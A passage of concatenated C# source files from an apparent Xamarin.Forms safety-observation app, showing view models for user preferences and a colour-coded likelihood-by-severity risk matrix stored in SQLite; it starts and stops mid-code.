}
public List<string> LanguagePickerSource
{
get { return languagePickerSource; }
set
{
if (languagePickerSource != value)
{
languagePickerSource = value;
OnPropertyChanged(nameof(LanguagePickerSource));
}
}
}
public string SelectedLanguage
{
get { return selectedLanguage; }
set
{
if (selectedLanguage != value)
{
selectedLanguage = value;
OnPropertyChanged(nameof(SelectedLanguage));
ChangeLanguage(value);
}
}
}
public List<string> HealthManagePickerSource
{
get { return healthManagePickerSource; }
set
{
if (healthManagePickerSource != value)
{
healthManagePickerSource = value;
OnPropertyChanged(nameof(HealthManagePickerSource));
}
}
}
public List<string> LocationPickerSource
{
get { return locationPickerSource; }
set
{
if (locationPickerSource != value)
{
locationPickerSource = value;
OnPropertyChanged(nameof(LocationPickerSource));
}
}
}
public string SelectedHealthManager
{
get { return selectedHealthManager; }
set
{
if (selectedHealthManager != value)
{
selectedHealthManager = value;
OnPropertyChanged(nameof(SelectedHealthManager));
}
}
}
public string SelectedLocation
{
get { return selectedLocation; }
set
{
if (selectedLocation != value)
{
selectedLocation = value;
OnPropertyChanged(nameof(SelectedLocation));
}
}
}
#endregion
public PreferencePageViewModel()
{
var result = AppSetting.Current.GskSafetyDB.Repository._sqliteConnection.Table<Preference>().FirstOrDefault(p => p.UserName == "John Doe");//Todo: change with userName from User class
if (result != null)
{
preferences = result;
selectedLanguage = preferences.Language;
selectedLocation = preferences.Location;
selectedHealthManager = preferences.EnvHealthAndSafetyManager;
userName = preferences.UserName;
organizationUnit = preferences.OrganisationUnit;
}
ButtonSaveCommand = new Command(async () => await OnButtonSaveCommand());
}
private async Task OnButtonSaveCommand()
{
try
{
//var validate = Validate();
//if (!string.IsNullOrEmpty(validate))
//{
// await PopupNavigation.Instance.PushAsync(new AttentionPopUp(AppResources.Attention, validate));
// return;
//}
if (preferences == null)
{
preferences = new Preference();
SetUpPreferences();
AppSetting.Current.GskSafetyDB.Repository.Add<Preference>(preferences);
}
else
{
SetUpPreferences();
AppSetting.Current.GskSafetyDB.Repository.Update<Preference>(preferences);
}
await NavigateToAsync(new HomePage(new HomePageViewModel()));
}
catch (Exception ex)
{
Debug.WriteLine("Error:" + ex);
}
}
private void SetUpPreferences()
{
preferences.Language = SelectedLanguage;
preferences.Location = SelectedLocation;
preferences.EnvHealthAndSafetyManager = SelectedHealthManager;
preferences.UserName = UserName;
preferences.OrganisationUnit = OrganizationUnit;
}
private string Validate()
{
StringBuilder errorText = new StringBuilder();
int count = 0;
if (string.IsNullOrEmpty(UserName))
{
errorText.Append(AppResources.Username);
errorText.Append(", ");
count++;
}
if (string.IsNullOrEmpty(selectedLanguage))
{
errorText.Append(AppResources.Language);
errorText.Append(" ");
count++;
}
if (string.IsNullOrEmpty(OrganizationUnit))
{
errorText.Append(AppResources.OrganizationalUnit);
errorText.Append(", ");
count++;
}
if (string.IsNullOrEmpty(SelectedHealthManager))
{
errorText.Append(AppResources.EnviromentalHealthSaftey);
errorText.Append(" ");
count++;
}
if (string.IsNullOrEmpty(SelectedLocation))
{
errorText.Append(AppResources.ChooseLocation);
errorText.Append(" ");
count++;
}
if (count > 1)
{
var text = AppResources.Are + " " + AppResources.Empty + ".";
errorText.Append(text);
}
else if (count == 1)
{
var text = AppResources.Is + " " + AppResources.Empty + ".";
errorText.Append(text);
}
return errorText.ToString();
}
public void ChangeLanguage(string language)
{
switch (language)
{
case "French":
CultureInfo.DefaultThreadCurrentUICulture = new CultureInfo("fr-FR");
AppResources.Culture = new CultureInfo("fr-FR");
App.MessageHub.Send(Messages.LanguageChanged);
break;
case "English":
CultureInfo.DefaultThreadCurrentUICulture = new CultureInfo("en-GB");
AppResources.Culture = new CultureInfo("en-GB");
App.MessageHub.Send(Messages.LanguageChanged);
break;
default:
break;
}
}
}
}
<file_sep>using System;
namespace GSK_Saftey.Enums
{
public enum RiskMatrixEnum
{
RareInsignificant,
RareMinor,
RareModerate,
RareMajor,
RareCatastrophic,
UnikelyInsignificant,
UnikelyMinor,
UnikelyModerate,
UnikelyMajor,
UnikelyCatastrophic,
PossibleInsignificant,
PossibleMinor,
PossibleModerate,
PossibleMajor,
PossibleCatastrophic,
LikelyInsignificant,
LikelyMinor,
LikelyModerate,
LikelyMajor,
LikelyCatastrophic,
AlmostCertainInsignificant,
AlmostCertainMinor,
AlmostCertainModerate,
AlmostCertainMajor,
AlmostCertainCatastrophic
}
}
<file_sep>using System;
using Xamarin.Forms;
namespace XFBase.CustomUI.BasicControls
{
public class XFCustomPicker : Picker
{
public static readonly BindableProperty ImageProperty =
BindableProperty.Create(nameof(Image), typeof(string), typeof(XFCustomPicker), string.Empty);
public string Image
{
get { return (string)GetValue(ImageProperty); }
set { SetValue(ImageProperty, value); }
}
public XFCustomPicker()
{
}
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Linq;
using System.Threading.Tasks;
using System.Windows.Input;
using GSK_Saftey.Enums;
using GSK_Saftey.Helpers.SQLite.SQLiteModels;
using GSK_Saftey.Pages.PopUps;
using GSK_Saftey.Resources;
using GSK_Saftey.Settings;
using Rg.Plugins.Popup.Services;
using Xamarin.Forms;
namespace GSK_Saftey.Pages
{
public class RiskMatrixPageViewModel : BaseViewModel
{
private string likehood;
private string severity;
private SafetyObservation safetyObservation;
#region Properties
private bool isThinInsignificant = true;
private bool isThinMinor = true;
private bool isThinModerate = true;
private bool isThinMajor = true;
private bool isThinCatastrophic = true;
private bool isThinAlmostCertain = true;
private bool isThinLikely = true;
private bool isThinPossible = true;
private bool isThinUnlikely = true;
private bool isThinRare = true;
private Color rareInsignificant1Color = AppSetting.Current.Colors.GreenBackgroundColor;
private Color rareMinor2Color = AppSetting.Current.Colors.GreenBackgroundColor;
private Color rareModerate3Color = AppSetting.Current.Colors.GreenBackgroundColor;
private Color rareMajor4Color = AppSetting.Current.Colors.GreenBackgroundColor;
private Color rareCatastrophic5Color = AppSetting.Current.Colors.YellowBackgroundColor;
private Color unikelyInsignificant2Color = AppSetting.Current.Colors.GreenBackgroundColor;
private Color unikelyMinor4Color = AppSetting.Current.Colors.GreenBackgroundColor;
private Color unikelyModerate6Color = AppSetting.Current.Colors.YellowBackgroundColor;
private Color unikelyMajor8Color = AppSetting.Current.Colors.YellowBackgroundColor;
private Color unikelyCatastrophic10Color = AppSetting.Current.Colors.OrangeBackgroundColor;
private Color possibleInsignificant3Color = AppSetting.Current.Colors.GreenBackgroundColor;
private Color possibleMinor6Color = AppSetting.Current.Colors.YellowBackgroundColor;
private Color possibleModerate9Color = AppSetting.Current.Colors.YellowBackgroundColor;
private Color possibleMajor12Color = AppSetting.Current.Colors.OrangeBackgroundColor;
private Color possibleCatastrophic15Color = AppSetting.Current.Colors.RedBackgroundColor;
private Color likelyInsignificant4Color = AppSetting.Current.Colors.GreenBackgroundColor;
private Color likelyMinor8Color = AppSetting.Current.Colors.YellowBackgroundColor;
private Color likelyModerate12Color = AppSetting.Current.Colors.OrangeBackgroundColor;
private Color likelyMajor16Color = AppSetting.Current.Colors.RedBackgroundColor;
private Color likelyCatastrophic20Color = AppSetting.Current.Colors.RedBackgroundColor;
private Color almostCertainInsignificant5Color = AppSetting.Current.Colors.YellowBackgroundColor;
private Color almostCertainMinor10Color = AppSetting.Current.Colors.OrangeBackgroundColor;
private Color almostCertainModerate15Color = AppSetting.Current.Colors.RedBackgroundColor;
private Color almostCertainMajor20Color = AppSetting.Current.Colors.RedBackgroundColor;
private Color almostCertainCatastrophic25Color = AppSetting.Current.Colors.RedBackgroundColor;
private Color rareInsignificant1TextColor = Color.White;
private Color rareMinor2TextColor = Color.White;
private Color rareModerate3TextColor = Color.White;
private Color rareMajor4TextColor = Color.White;
private Color rareCatastrophic5TextColor = Color.White;
private Color unikelyInsignificant2TextColor = Color.White;
private Color unikelyMinor4TextColor = Color.White;
private Color unikelyModerate6TextColor = Color.White;
private Color unikelyMajor8TextColor = Color.White;
private Color unikelyCatastrophic10TextColor = Color.White;
private Color possibleInsignificant3TextColor = Color.White;
private Color possibleMinor6TextColor = Color.White;
private Color possibleModerate9TextColor = Color.White;
private Color possibleMajor12TextColor = Color.White;
private Color possibleCatastrophic15TextColor = Color.White;
private Color likelyInsignificant4TextColor = Color.White;
private Color likelyMinor8TextColor = Color.White;
private Color likelyModerate12TextColor = Color.White;
private Color likelyMajor16TextColor = Color.White;
private Color likelyCatastrophic20TextColor = Color.White;
private Color almostCertainInsignificant5TextColor = Color.White;
private Color almostCertainMinor10TextColor = Color.White;
private Color almostCertainModerate15TextColor = Color.White;
private Color almostCertainMajor20TextColor = Color.White;
private Color almostCertainCatastrophic25TextColor = Color.White;
public bool IsThinInsignificant
{
get { return isThinInsignificant; }
set
{
if (isThinInsignificant != value)
{
isThinInsignificant = value;
OnPropertyChanged(nameof(IsThinInsignificant));
}
}
}
public bool IsThinMinor
{
get { return isThinMinor; }
set
{
if (isThinMinor != value)
{
isThinMinor = value;
OnPropertyChanged(nameof(IsThinMinor));
}
}
}
public bool IsThinModerate
{
get { return isThinModerate; }
set
{
if (isThinModerate != value)
{
isThinModerate = value;
OnPropertyChanged(nameof(IsThinModerate));
}
}
}
public bool IsThinMajor
{
get { return isThinMajor; }
set
{
if (isThinMajor != value)
{
isThinMajor = value;
OnPropertyChanged(nameof(IsThinMajor));
}
}
}
public bool IsThinCatastrophic
{
get { return isThinCatastrophic; }
set
{
if (isThinCatastrophic != value)
{
isThinCatastrophic = value;
OnPropertyChanged(nameof(IsThinCatastrophic));
}
}
}
public bool IsThinAlmostCertain
{
get { return isThinAlmostCertain; }
set
{
if (isThinAlmostCertain != value)
{
isThinAlmostCertain = value;
OnPropertyChanged(nameof(IsThinAlmostCertain));
}
}
}
public bool IsThinLikely
{
get { return isThinLikely; }
set
{
if (isThinLikely != value)
{
isThinLikely = value;
OnPropertyChanged(nameof(IsThinLikely));
}
}
}
public bool IsThinPossible
{
get { return isThinPossible; }
set
{
if (isThinPossible != value)
{
isThinPossible = value;
OnPropertyChanged(nameof(IsThinPossible));
}
}
}
public bool IsThinUnlikely
{
get { return isThinUnlikely; }
set
{
if (isThinUnlikely != value)
{
isThinUnlikely = value;
OnPropertyChanged(nameof(IsThinUnlikely));
}
}
}
public bool IsThinRare
{
get { return isThinRare; }
set
{
if (isThinRare != value)
{
isThinRare = value;
OnPropertyChanged(nameof(IsThinRare));
}
}
}
public Color RareInsignificant1Color
{
get { return rareInsignificant1Color; }
set
{
if (rareInsignificant1Color != value)
{
rareInsignificant1Color = value;
OnPropertyChanged(nameof(RareInsignificant1Color));
}
}
}
public Color RareMinor2Color
{
get { return rareMinor2Color; }
set
{
if (rareMinor2Color != value)
{
rareMinor2Color = value;
OnPropertyChanged(nameof(RareMinor2Color));
}
}
}
public Color RareModerate3Color
{
get { return rareModerate3Color; }
set
{
if (rareModerate3Color != value)
{
rareModerate3Color = value;
OnPropertyChanged(nameof(RareModerate3Color));
}
}
}
public Color RareMajor4Color
{
get { return rareMajor4Color; }
set
{
if (rareMajor4Color != value)
{
rareMajor4Color = value;
OnPropertyChanged(nameof(RareMajor4Color));
}
}
}
public Color RareCatastrophic5Color
{
get { return rareCatastrophic5Color; }
set
{
if (rareCatastrophic5Color != value)
{
rareCatastrophic5Color = value;
OnPropertyChanged(nameof(RareCatastrophic5Color));
}
}
}
public Color UnikelyInsignificant2Color
{
get { return unikelyInsignificant2Color; }
set
{
if (unikelyInsignificant2Color != value)
{
unikelyInsignificant2Color = value;
OnPropertyChanged(nameof(UnikelyInsignificant2Color));
}
}
}
public Color UnikelyMinor4Color
{
get { return unikelyMinor4Color; }
set
{
if (unikelyMinor4Color != value)
{
unikelyMinor4Color = value;
OnPropertyChanged(nameof(UnikelyMinor4Color));
}
}
}
public Color UnikelyModerate6Color
{
get { return unikelyModerate6Color; }
set
{
if (unikelyModerate6Color != value)
{
unikelyModerate6Color = value;
OnPropertyChanged(nameof(UnikelyModerate6Color));
}
}
}
public Color UnikelyMajor8Color
{
get { return unikelyMajor8Color; }
set
{
if (unikelyMajor8Color != value)
{
unikelyMajor8Color = value;
OnPropertyChanged(nameof(UnikelyMajor8Color));
}
}
}
public Color UnikelyCatastrophic10Color
{
get { return unikelyCatastrophic10Color; }
set
{
if (unikelyCatastrophic10Color != value)
{
unikelyCatastrophic10Color = value;
OnPropertyChanged(nameof(UnikelyCatastrophic10Color));
}
}
}
public Color PossibleInsignificant3Color
{
get { return possibleInsignificant3Color; }
set
{
if (possibleInsignificant3Color != value)
{
possibleInsignificant3Color = value;
OnPropertyChanged(nameof(PossibleInsignificant3Color));
}
}
}
public Color PossibleMinor6Color
{
get { return possibleMinor6Color; }
set
{
if (possibleMinor6Color != value)
{
possibleMinor6Color = value;
OnPropertyChanged(nameof(PossibleMinor6Color));
}
}
}
public Color PossibleModerate9Color
{
get { return possibleModerate9Color; }
set
{
if (possibleModerate9Color != value)
{
possibleModerate9Color = value;
OnPropertyChanged(nameof(PossibleModerate9Color));
}
}
}
public Color PossibleMajor12Color
{
get { return possibleMajor12Color; }
set
{
if (possibleMajor12Color != value)
{
possibleMajor12Color = value;
OnPropertyChanged(nameof(PossibleMajor12Color));
}
}
}
public Color PossibleCatastrophic15Color
{
get { return possibleCatastrophic15Color; }
set
{
if (possibleCatastrophic15Color != value)
{
possibleCatastrophic15Color = value;
OnPropertyChanged(nameof(PossibleCatastrophic15Color));
}
}
}
public Color LikelyInsignificant4Color
{
get { return likelyInsignificant4Color; }
set
{
if (likelyInsignificant4Color != value)
{
likelyInsignificant4Color = value;
OnPropertyChanged(nameof(LikelyInsignificant4Color));
}
}
}
public Color LikelyMinor8Color
{
get { return likelyMinor8Color; }
set
{
if (likelyMinor8Color != value)
{
likelyMinor8Color = value;
OnPropertyChanged(nameof(LikelyMinor8Color));
}
}
}
public Color LikelyModerate12Color
{
get { return likelyModerate12Color; }
set
{
if (likelyModerate12Color != value)
{
likelyModerate12Color = value;
OnPropertyChanged(nameof(LikelyModerate12Color));
}
}
}
public Color LikelyMajor16Color
{
get { return likelyMajor16Color; }
set
{
if (likelyMajor16Color != value)
{
likelyMajor16Color = value;
OnPropertyChanged(nameof(LikelyMajor16Color));
}
}
}
public Color LikelyCatastrophic20Color
{
get { return likelyCatastrophic20Color; }
set
{
if (likelyCatastrophic20Color != value)
{
likelyCatastrophic20Color = value;
OnPropertyChanged(nameof(LikelyCatastrophic20Color));
}
}
}
public Color AlmostCertainInsignificant5Color
{
get { return almostCertainInsignificant5Color; }
set
{
if (almostCertainInsignificant5Color != value)
{
almostCertainInsignificant5Color = value;
OnPropertyChanged(nameof(AlmostCertainInsignificant5Color));
}
}
}
public Color AlmostCertainMinor10Color
{
get { return almostCertainMinor10Color; }
set
{
if (almostCertainMinor10Color != value)
{
almostCertainMinor10Color = value;
OnPropertyChanged(nameof(AlmostCertainMinor10Color));
}
}
}
public Color AlmostCertainModerate15Color
{
get { return almostCertainModerate15Color; }
set
{
if (almostCertainModerate15Color != value)
{
almostCertainModerate15Color = value;
OnPropertyChanged(nameof(AlmostCertainModerate15Color));
}
}
}
public Color AlmostCertainMajor20Color
{
get { return almostCertainMajor20Color; }
set
{
if (almostCertainMajor20Color != value)
{
almostCertainMajor20Color = value;
OnPropertyChanged(nameof(AlmostCertainMajor20Color));
}
}
}
public Color AlmostCertainCatastrophic25Color
{
get { return almostCertainCatastrophic25Color; }
set
{
if (almostCertainCatastrophic25Color != value)
{
almostCertainCatastrophic25Color = value;
OnPropertyChanged(nameof(AlmostCertainCatastrophic25Color));
}
}
}
public Color RareInsignificant1TextColor
{
get { return rareInsignificant1TextColor; }
set
{
if (rareInsignificant1TextColor != value)
{
rareInsignificant1TextColor = value;
OnPropertyChanged(nameof(RareInsignificant1TextColor));
}
}
}
public Color RareMinor2TextColor
{
get { return rareMinor2TextColor; }
set
{
if (rareMinor2TextColor != value)
{
rareMinor2TextColor = value;
OnPropertyChanged(nameof(RareMinor2TextColor));
}
}
}
public Color RareModerate3TextColor
{
get { return rareModerate3TextColor; }
set
{
if (rareModerate3TextColor != value)
{
rareModerate3TextColor = value;
OnPropertyChanged(nameof(RareModerate3TextColor));
}
}
}
public Color RareMajor4TextColor
{
get { return rareMajor4TextColor; }
set
{
if (rareMajor4TextColor != value)
{
rareMajor4TextColor = value;
OnPropertyChanged(nameof(RareMajor4TextColor));
}
}
}
public Color RareCatastrophic5TextColor
{
get { return rareCatastrophic5TextColor; }
set
{
if (rareCatastrophic5TextColor != value)
{
rareCatastrophic5TextColor = value;
OnPropertyChanged(nameof(RareCatastrophic5TextColor));
}
}
}
public Color UnikelyInsignificant2TextColor
{
get { return unikelyInsignificant2TextColor; }
set
{
if (unikelyInsignificant2TextColor != value)
{
unikelyInsignificant2TextColor = value;
OnPropertyChanged(nameof(UnikelyInsignificant2TextColor));
}
}
}
public Color UnikelyMinor4TextColor
{
get { return unikelyMinor4TextColor; }
set
{
if (unikelyMinor4TextColor != value)
{
unikelyMinor4TextColor = value;
OnPropertyChanged(nameof(UnikelyMinor4TextColor));
}
}
}
public Color UnikelyModerate6TextColor
{
get { return unikelyModerate6TextColor; }
set
{
if (unikelyModerate6TextColor != value)
{
unikelyModerate6TextColor = value;
OnPropertyChanged(nameof(UnikelyModerate6TextColor));
}
}
}
public Color UnikelyMajor8TextColor
{
get { return unikelyMajor8TextColor; }
set
{
if (unikelyMajor8TextColor != value)
{
unikelyMajor8TextColor = value;
OnPropertyChanged(nameof(UnikelyMajor8TextColor));
}
}
}
public Color UnikelyCatastrophic10TextColor
{
get { return unikelyCatastrophic10TextColor; }
set
{
if (unikelyCatastrophic10TextColor != value)
{
unikelyCatastrophic10TextColor = value;
OnPropertyChanged(nameof(UnikelyCatastrophic10TextColor));
}
}
}
public Color PossibleInsignificant3TextColor
{
get { return possibleInsignificant3TextColor; }
set
{
if (possibleInsignificant3TextColor != value)
{
possibleInsignificant3TextColor = value;
OnPropertyChanged(nameof(PossibleInsignificant3TextColor));
}
}
}
public Color PossibleMinor6TextColor
{
get { return possibleMinor6TextColor; }
set
{
if (possibleMinor6TextColor != value)
{
possibleMinor6TextColor = value;
OnPropertyChanged(nameof(PossibleMinor6TextColor));
}
}
}
public Color PossibleModerate9TextColor
{
get { return possibleModerate9TextColor; }
set
{
if (possibleModerate9TextColor != value)
{
possibleModerate9TextColor = value;
OnPropertyChanged(nameof(PossibleModerate9TextColor));
}
}
}
public Color PossibleMajor12TextColor
{
get { return possibleMajor12TextColor; }
set
{
if (possibleMajor12TextColor != value)
{
possibleMajor12TextColor = value;
OnPropertyChanged(nameof(PossibleMajor12TextColor));
}
}
}
public Color PossibleCatastrophic15TextColor
{
get { return possibleCatastrophic15TextColor; }
set
{
if (possibleCatastrophic15TextColor != value)
{
possibleCatastrophic15TextColor = value;
OnPropertyChanged(nameof(PossibleCatastrophic15TextColor));
}
}
}
public Color LikelyInsignificant4TextColor
{
get { return likelyInsignificant4TextColor; }
set
{
if (likelyInsignificant4TextColor != value)
{
likelyInsignificant4TextColor = value;
OnPropertyChanged(nameof(LikelyInsignificant4TextColor));
}
}
}
public Color LikelyMinor8TextColor
{
get { return likelyMinor8TextColor; }
set
{
if (likelyMinor8TextColor != value)
{
likelyMinor8TextColor = value;
OnPropertyChanged(nameof(LikelyMinor8TextColor));
}
}
}
public Color LikelyModerate12TextColor
{
get { return likelyModerate12TextColor; }
set
{
if (likelyModerate12TextColor != value)
{
likelyModerate12TextColor = value;
OnPropertyChanged(nameof(LikelyModerate12TextColor));
}
}
}
public Color LikelyMajor16TextColor
{
get { return likelyMajor16TextColor; }
set
{
if (likelyMajor16TextColor != value)
{
likelyMajor16TextColor = value;
OnPropertyChanged(nameof(LikelyMajor16TextColor));
}
}
}
public Color LikelyCatastrophic20TextColor
{
get { return likelyCatastrophic20TextColor; }
set
{
if (likelyCatastrophic20TextColor != value)
{
likelyCatastrophic20TextColor = value;
OnPropertyChanged(nameof(LikelyCatastrophic20TextColor));
}
}
}
public Color AlmostCertainInsignificant5TextColor
{
get { return almostCertainInsignificant5TextColor; }
set
{
if (almostCertainInsignificant5TextColor != value)
{
almostCertainInsignificant5TextColor = value;
OnPropertyChanged(nameof(AlmostCertainInsignificant5TextColor));
}
}
}
public Color AlmostCertainMinor10TextColor
{
get { return almostCertainMinor10TextColor; }
set
{
if (almostCertainMinor10TextColor != value)
{
almostCertainMinor10TextColor = value;
OnPropertyChanged(nameof(AlmostCertainMinor10TextColor));
}
}
}
public Color AlmostCertainModerate15TextColor
{
get { return almostCertainModerate15TextColor; }
set
{
if (almostCertainModerate15TextColor != value)
{
almostCertainModerate15TextColor = value;
OnPropertyChanged(nameof(AlmostCertainModerate15TextColor));
}
}
}
public Color AlmostCertainMajor20TextColor
{
get { return almostCertainMajor20TextColor; }
set
{
if (almostCertainMajor20TextColor != value)
{
almostCertainMajor20TextColor = value;
OnPropertyChanged(nameof(AlmostCertainMajor20TextColor));
}
}
}
public Color AlmostCertainCatastrophic25TextColor
{
get { return almostCertainCatastrophic25TextColor; }
set
{
if (almostCertainCatastrophic25TextColor != value)
{
almostCertainCatastrophic25TextColor = value;
OnPropertyChanged(nameof(AlmostCertainCatastrophic25TextColor));
}
}
}
#endregion
public ICommand ShowMessageCommand { get; private set; }
public ICommand ButtonSaveCommand { get; private set; }
public ICommand ButtonClickedCommand { get; private set; }
public ICommand ButtonNextCommand { get; private set; }
public RiskMatrixPageViewModel(SafetyObservation _safetyObservation)
{
safetyObservation = _safetyObservation;
if (safetyObservation != null)
{
likehood = safetyObservation.Likehood;
severity = safetyObservation.Severity;
if (!string.IsNullOrEmpty(likehood) && !string.IsNullOrEmpty(severity))
{
SelectRiskMatrixValue(likehood+severity);
}
}
ShowMessageCommand = new Command<RiskMatrixBorderEnum>(OnShowMessage);
ButtonSaveCommand = new Command(async () => await OnButtonSaveCommand());
ButtonClickedCommand = new Command(async (enums) => await OnButtonClickedCommand((RiskMatrixEnum)enums));
ButtonNextCommand = new Command(async () => await OnButtonNextCommand());
}
private async Task OnButtonNextCommand()
{
Populate();
await NavigateToAsync(new PotentialConsequencesPage(new PotentialConsequencesPageViewModel(safetyObservation)));
}
private async Task OnButtonSaveCommand()
{
try
{
Populate();
if (safetyObservation != null & safetyObservation.ID > 0)
{
AppSetting.Current.GskSafetyDB.Repository.Update<SafetyObservation>(safetyObservation);
}
else
{
AppSetting.Current.GskSafetyDB.Repository.Add<SafetyObservation>(safetyObservation);
}
await PopupNavigation.Instance.PushAsync(new AttentionPopUp(AppResources.RiskMatrix, "Saved!"));
}
catch (Exception ex)
{
Debug.WriteLine("Error:" + ex);
}
}
private void Populate()
{
safetyObservation.Severity = severity;
safetyObservation.Likehood = likehood;
}
private async void OnShowMessage(RiskMatrixBorderEnum button)
{
switch (button)
{
case RiskMatrixBorderEnum.Rare:
await PopupNavigation.Instance.PushAsync(new AttentionPopUp(AppResources.Rare, AppResources.RareMessage));
break;
case RiskMatrixBorderEnum.Unikely:
await PopupNavigation.Instance.PushAsync(new AttentionPopUp(AppResources.Unlikely, AppResources.UnikelyMessage));
break;
case RiskMatrixBorderEnum.Possible:
await PopupNavigation.Instance.PushAsync(new AttentionPopUp(AppResources.Possible, AppResources.PossibleMessage));
break;
case RiskMatrixBorderEnum.Likely:
await PopupNavigation.Instance.PushAsync(new AttentionPopUp(AppResources.Likely, AppResources.LikelyMessage));
break;
case RiskMatrixBorderEnum.AlmostCertain:
await PopupNavigation.Instance.PushAsync(new AttentionPopUp(AppResources.AlmostCertain, AppResources.AlmostCertainMessage));
break;
case RiskMatrixBorderEnum.Insignificant:
await PopupNavigation.Instance.PushAsync(new AttentionPopUp(AppResources.Insignificant, AppResources.InsignificantMessage));
break;
case RiskMatrixBorderEnum.Minor:
await PopupNavigation.Instance.PushAsync(new AttentionPopUp(AppResources.Minor, AppResources.MinorMessage));
break;
case RiskMatrixBorderEnum.Moderate:
await PopupNavigation.Instance.PushAsync(new AttentionPopUp(AppResources.Moderate, AppResources.ModerateMessage));
break;
case RiskMatrixBorderEnum.Major:
await PopupNavigation.Instance.PushAsync(new AttentionPopUp(AppResources.Major, AppResources.MajorMessage));
break;
case RiskMatrixBorderEnum.Catastrophic:
await PopupNavigation.Instance.PushAsync(new AttentionPopUp(AppResources.Catastrophic, AppResources.CatastrophicMessage));
break;
}
}
private void SelectRiskMatrixValue(string selected)
{
switch (selected)
{
case "RareInsignificant":
SetBackgroundColors();
SetDefaultValues();
RareInsignificant1Color = AppSetting.Current.Colors.GreenBackgroundColor;
RareInsignificant1TextColor = Color.White;
IsThinRare = false;
IsThinInsignificant = false;
break;
case "RareMinor":
SetBackgroundColors();
SetDefaultValues();
RareMinor2Color = AppSetting.Current.Colors.GreenBackgroundColor;
RareMinor2TextColor = Color.White;
IsThinRare = false;
IsThinMinor = false;
break;
case "RareModerate":
SetBackgroundColors();
SetDefaultValues();
RareModerate3Color = AppSetting.Current.Colors.GreenBackgroundColor;
RareModerate3TextColor = Color.White;
IsThinRare = false;
IsThinModerate = false;
break;
case "RareMajor":
SetBackgroundColors();
SetDefaultValues();
RareMajor4Color = AppSetting.Current.Colors.GreenBackgroundColor;
RareMajor4TextColor = Color.White;
IsThinRare = false;
IsThinMajor = false;
break;
case "RareCatastrophic":
SetBackgroundColors();
SetDefaultValues();
RareCatastrophic5Color = AppSetting.Current.Colors.YellowBackgroundColor;
RareCatastrophic5TextColor = Color.White;
IsThinRare = false;
IsThinCatastrophic = false;
break;
case "UnlikelyInsignificant":
SetBackgroundColors();
SetDefaultValues();
UnikelyInsignificant2Color = AppSetting.Current.Colors.GreenBackgroundColor;
UnikelyInsignificant2TextColor = Color.White;
IsThinUnlikely = false;
IsThinInsignificant = false;
break;
case "UnlikelyMinor":
SetBackgroundColors();
SetDefaultValues();
UnikelyMinor4Color = AppSetting.Current.Colors.GreenBackgroundColor;
UnikelyMinor4TextColor = Color.White;
IsThinUnlikely = false;
IsThinMinor = false;
break;
case "UnlikelyModerate":
SetBackgroundColors();
SetDefaultValues();
UnikelyModerate6Color = AppSetting.Current.Colors.YellowBackgroundColor;
UnikelyModerate6TextColor = Color.White;
IsThinUnlikely = false;
IsThinModerate = false;
break;
case "UnlikelyMajor":
SetBackgroundColors();
SetDefaultValues();
UnikelyMajor8Color = AppSetting.Current.Colors.YellowBackgroundColor;
UnikelyMajor8TextColor = Color.White;
IsThinUnlikely = false;
IsThinMajor = false;
break;
case "UnlikelyCatastrophic":
SetBackgroundColors();
SetDefaultValues();
UnikelyCatastrophic10Color = AppSetting.Current.Colors.OrangeBackgroundColor;
UnikelyCatastrophic10TextColor = Color.White;
IsThinUnlikely = false;
IsThinCatastrophic = false;
break;
case "PossibleInsignificant":
SetBackgroundColors();
SetDefaultValues();
PossibleInsignificant3Color = AppSetting.Current.Colors.GreenBackgroundColor;
PossibleInsignificant3TextColor = Color.White;
IsThinPossible = false;
IsThinInsignificant = false;
break;
case "PossibleMinor":
SetBackgroundColors();
SetDefaultValues();
PossibleMinor6Color = AppSetting.Current.Colors.YellowBackgroundColor;
PossibleMinor6TextColor = Color.White;
IsThinPossible = false;
IsThinMinor = false;
break;
case "PossibleModerate":
SetBackgroundColors();
SetDefaultValues();
PossibleModerate9Color = AppSetting.Current.Colors.YellowBackgroundColor;
PossibleModerate9TextColor = Color.White;
IsThinPossible = false;
IsThinModerate = false;
break;
case "PossibleMajor":
SetBackgroundColors();
SetDefaultValues();
PossibleMajor12Color = AppSetting.Current.Colors.OrangeBackgroundColor;
PossibleMajor12TextColor = Color.White;
IsThinPossible = false;
IsThinMajor = false;
break;
case "PossibleCatastrophic":
SetBackgroundColors();
SetDefaultValues();
PossibleCatastrophic15Color = AppSetting.Current.Colors.RedBackgroundColor;
PossibleCatastrophic15TextColor = Color.White;
IsThinPossible = false;
IsThinCatastrophic = false;
break;
case "LikelyInsignificant":
SetBackgroundColors();
SetDefaultValues();
LikelyInsignificant4Color = AppSetting.Current.Colors.GreenBackgroundColor;
LikelyInsignificant4TextColor = Color.White;
IsThinLikely = false;
IsThinInsignificant = false;
break;
case "LikelyMinor":
SetBackgroundColors();
SetDefaultValues();
LikelyMinor8Color = AppSetting.Current.Colors.YellowBackgroundColor;
LikelyMinor8TextColor = Color.White;
IsThinLikely = false;
IsThinMinor = false;
break;
case "LikelyModerate":
SetBackgroundColors();
SetDefaultValues();
LikelyModerate12Color = AppSetting.Current.Colors.OrangeBackgroundColor;
LikelyModerate12TextColor = Color.White;
IsThinLikely = false;
IsThinModerate = false;
break;
case "LikelyMajor":
SetBackgroundColors();
SetDefaultValues();
LikelyMajor16Color = AppSetting.Current.Colors.RedBackgroundColor;
LikelyMajor16TextColor = Color.White;
IsThinLikely = false;
IsThinMajor = false;
break;
case "LikelyCatastrophic":
SetBackgroundColors();
SetDefaultValues();
LikelyCatastrophic20Color = AppSetting.Current.Colors.RedBackgroundColor;
LikelyCatastrophic20TextColor = Color.White;
IsThinLikely = false;
IsThinCatastrophic = false;
break;
case "Almost certainInsignificant":
SetBackgroundColors();
SetDefaultValues();
AlmostCertainInsignificant5Color = AppSetting.Current.Colors.YellowBackgroundColor;
AlmostCertainInsignificant5TextColor = Color.White;
IsThinAlmostCertain = false;
IsThinInsignificant = false;
break;
case "Almost certainMinor":
SetBackgroundColors();
SetDefaultValues();
AlmostCertainMinor10Color = AppSetting.Current.Colors.OrangeBackgroundColor;
AlmostCertainMinor10TextColor = Color.White;
IsThinAlmostCertain = false;
IsThinMinor = false;
break;
case "Almost certainModerate":
SetBackgroundColors();
SetDefaultValues();
AlmostCertainModerate15Color = AppSetting.Current.Colors.RedBackgroundColor;
AlmostCertainModerate15TextColor = Color.White;
IsThinAlmostCertain = false;
IsThinModerate = false;
break;
case "Almost certainMajor":
SetBackgroundColors();
SetDefaultValues();
